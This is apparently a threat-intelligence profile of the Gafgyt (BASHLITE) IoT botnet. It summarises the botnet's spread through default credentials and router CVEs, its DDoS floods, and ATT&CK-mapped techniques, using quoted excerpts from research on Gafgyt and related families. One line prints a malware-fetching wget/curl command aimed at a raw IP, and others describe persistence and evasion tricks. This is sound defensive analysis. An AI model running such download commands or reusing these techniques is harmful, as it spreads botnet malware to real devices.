Gafgyt
- Type
- Botnet
- Capabilities
- DDOSScanningBrute forceDefense evasion
- Delivery
- Exploit kit
- Platforms
- LinuxIOTNetwork device
Gafgyt, also known as BASHLITE, is a Linux botnet malware family first observed in 2014 that primarily recruits routers and other internet-of-things devices for distributed denial-of-service attacks. Its source code leaked in 2015, enabling numerous variants and derivative botnets. Architecture-specific payloads support heterogeneous embedded systems, including ARM- and MIPS-based devices.
Gafgyt spreads through weak or default credentials and exploitation of remote command-execution vulnerabilities. Documented variants use Telnet scanning and credential brute forcing, while exploit-equipped versions target routers, surveillance equipment, and other connected devices. Exploited vulnerabilities include Huawei router command injection CVE-2017-17215 and Realtek SDK command execution CVE-2014-8361. Earlier iterations exploited Shellshock, and later variants incorporated attacks against devices exposing vulnerable WeMo UPnP interfaces. Infection scripts commonly retrieve and attempt to execute builds for multiple processor architectures.
Infected devices receive commands from attacker-controlled infrastructure to launch TCP and UDP floods and other resource-exhaustion attacks. Some variants support simultaneous attack methods and routines intended to bypass DDoS mitigation services. Updated BASHLITE variants can terminate specified processes and download and execute additional malware, including cryptocurrency miners and device-bricking payloads. These are optional, variant-specific functions rather than universal characteristics of the family. Gafgyt code is frequently reused or combined with Mirai code in subsequent IoT botnets.
Associated vulnerabilities
32 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
20 more CVEs associated with this family tracked in Mallory.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Keksec frequently used Gafgyt source code, which was leaked in 2015 and had infected approximately one million devices by 2016.
Gafgyt_tor share the same origin with the Gafgyt samples described by the keksec group, the core function is still DDoS attacks and scanning.
The original Mirai was consistently tweaked to compete with its “DDoS-as-a-Service” provider rival vDOS and their Gafgyt botnet.
BASHLITE (also known as Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus and LizardStresser) is malware which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS).
Techniques & procedures
61 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
2 techniques
Reconnaissance
Mirai code was mainly used in modules of watchdog, killer, scanner and rand alpha string generation.
We can see that Keksec launched scans and attacks on targets across the network almost non-stop. Our honeypots see new variants and exploits all the time, with the exception of some occasional breaks. When a new exploit is introduced, the scans increase significantly.
Resource Development
2 techniques
Resource Development
Surveillance cameras in shopping malls are being targeted to form a large botnet... the DDoS attack now peaked at 20,000 requests per second and originated from nearly 900 CCTV cameras running embedded versions of Linux and the BusyBox toolkit.
By leveraging on commodity malware, they are attempting to operate under the cloak of anonymity to avoid being identified as state-sponsored hacker groups.
Initial Access
3 techniques
Initial Access
These leaked credentials are the default credentials of many poorly secured IoT devices.
The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.
The infection sequence initiates with the transmission of a meticulously crafted HTTP request by an attacker to a designated system employing Log4j.
Execution
5 techniques
Execution
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
An attacker can then remotely issue commands ... and download other files to the compromised devices.
They may also have a mechanism to run arbitrary shell commands on the infected machine.
According to Akamai’s research, the code validation endpoint executes untrusted Python “without proper sandboxing.”
OWARI retained the default password technique to propagate the victim device and added a few exploit scanners like CVE-2017–17215 Huawei exploit...
Persistence
5 techniques
Persistence
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
These leaked credentials are the default credentials of many poorly secured IoT devices.
The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.
Configuration alteration : Figure 6: Modifying configurations /etc/sysctl.conf is a configuration file in Unix-like operating systems used to modify kernel parameters at runtime.
Privilege Escalation
5 techniques
Privilege Escalation
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
In its previous iterations, Bashlite exploited Shellshock to gain a foothold into the vulnerable devices.
These leaked credentials are the default credentials of many poorly secured IoT devices.
The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.
Stealth
9 techniques
Stealth
Most of the Gafgyt and Tsunami samples we captured were not packed... String encoding... Necro also cryptographically protects the string by first performing character substitution and then doing zip compression.
a few of the packed samples used the standard UPX shell
A very traditional technique on Linux systems is to use random strings to override argv parameters and prctl(PR_SET_NAME,buf) to change the process name and start parameters in order to disguise the process.
BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots. MINER downloads and executes a cryptocurrency-mining malware on the infected machine, while PKILL terminates a specified process.
to kill any running process that is not stored on a specific path
These leaked credentials are the default credentials of many poorly secured IoT devices.
The crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.
In the inspection phase the malware is using various checks to establish that this is a real server with the service running probably to avoid infecting low interaction honeypots.
C0XMO copies itself into hidden directories including: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys.
Defense Impairment
2 techniques
Defense Impairment
Configuration alteration : Figure 6: Modifying configurations /etc/sysctl.conf is a configuration file in Unix-like operating systems used to modify kernel parameters at runtime.
« Élimination de la concurrence : Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
Credential Access
3 techniques
Credential Access
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
Mirai attempted a brute-force attack with a pre-configured list of known factory defaults and most commonly used credentials.
C0XMO is actively targeting internet-exposed devices through a combination of vulnerability exploitation, weak-credential attacks, and automated lateral movement.
Discovery
9 techniques
Discovery
The malicious process calls a function called getOurIP... The malware performs a connection to the Google DNS server on port 53... The ELF binary obtains the current address to which the socket is bound using the getsockname function.
The ELF binary extracts the MAC address of the device using the ioctl method (0x8927 = SIOCGIFHWADDR).
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
“The core function is still DDoS attacks and scanning”; samples contain scan functions named “ak47Scan” and “ak47telscan.”
« Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
Target Architecture Identified → Matching Binary Deployed.
A few checks are conducted mainly to determine if the machine has already been infected by this variant of Gafgyt and to check if another malware is running
In the inspection phase the malware is using various checks to establish that this is a real server with the service running probably to avoid infecting low interaction honeypots.
Performs memory scanning of /proc/$pid/exe against signatures for known competing botnets: QBOT/Bashlite variants... UPX-packed binaries... Zollard worm... Remaiten...
Lateral Movement
4 techniques
Lateral Movement
The initial access is gained by brute forcing to an internet connected SSH with weak password.
The attacking server (a part of the botnet) executes some shell commands via the SSH connection and transfers the main payloads.
The Simps payload was delivered by exploiting multiple Remote Code Execution vulnerabilities in vulnerable IOT devices.
After finding a target, the malware attempts to brute-force weak Telnet and SSH credentials, detects the CPU architecture, and deploys a compatible C0XMO binary.
Command and Control
13 techniques
Command and Control
The scheme changes the S-box seed, adds a two-phase key schedule, and scrambles keystream bytes. Consequently, standard automated decoders struggle to read the traffic.
In a UDP-BYPASS attack, Momentum floods the target host by constructing and unloading a legitimate UDP payload on a specific port.
After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.
"Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs"; "The botnet client can accept the following command and control (C2) channel commands"
We found Tor proxy being used to communicate with the C2 in both Gafgyt and Necro.
In Gafgyt Tor proxy is used to talk to the C2 through a built-in proxy list. Up to 173 proxy IPs can be used for a single sample.
The aim of the LWE is to extract the C2 server and port by emulating the initConnection function checked with the C2 loop.
wget http://200.150.205.65/8UsA.sh; curl -O http://200.150.205.65/8UsA.sh
Base64 code has also been identified ... Upon decoding, it was discerned that subsequent to compromising a victim machine, it initiated contact with a URL to fetch a shell script.
It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities.
The Momentum botnet uses the fast flux technique in order to make its command and control network more resilient.
MITRE ATT&CK Mapping ... Command and Control Non-Standard Port T1571 C2 on ports 27015, 27016 (game server ports)
Port 27015/27016 Analysis ... Botnet C2 channels — using game server protocols as covert communication channels to blend with legitimate gaming traffic ... MITRE ATT&CK Mapping ... Protocol Tunneling T1572 Possible game protocol tunneling on 27015/27016
Impact
11 techniques
Impact
BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots.
while PKILL terminates a specified process.
There is a specific function called UpdateNameSrvs to change nameservers on the infected device. The function is responsible for writing the file /etc/resolv.conf with Google’s DNS servers.
It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities.
Gafgyt is a long-running IoT malware family primarily associated with botnet operations and distributed denial-of-service (DDoS) attacks... DDoS Capability Activated.
The malware uses known reflection and amplifications methods that have a variety of targets: MEMCACHE, LDAP, DNS and Valve Source Engine.
A list of the IP addresses of DNS servers misused for DNS amplification attacks are stored in the /usr/lib/libamplify.so file.
The most notable of Bashlite’s backdoor commands include simultaneously launching multiple types of DDoS floods to a target
HTTP flooding is a kind of DDoS attack in which the attacker sends a large number of HTTP requests to the targeted server to overwhelm it.
The most common attack consisted of HTTP GET request floods originating from around 900 CCTV cameras spread around the world.
These behaviors include deleting data, writing junk data on specific device paths, and rebooting devices.
Observables
576 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
118 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.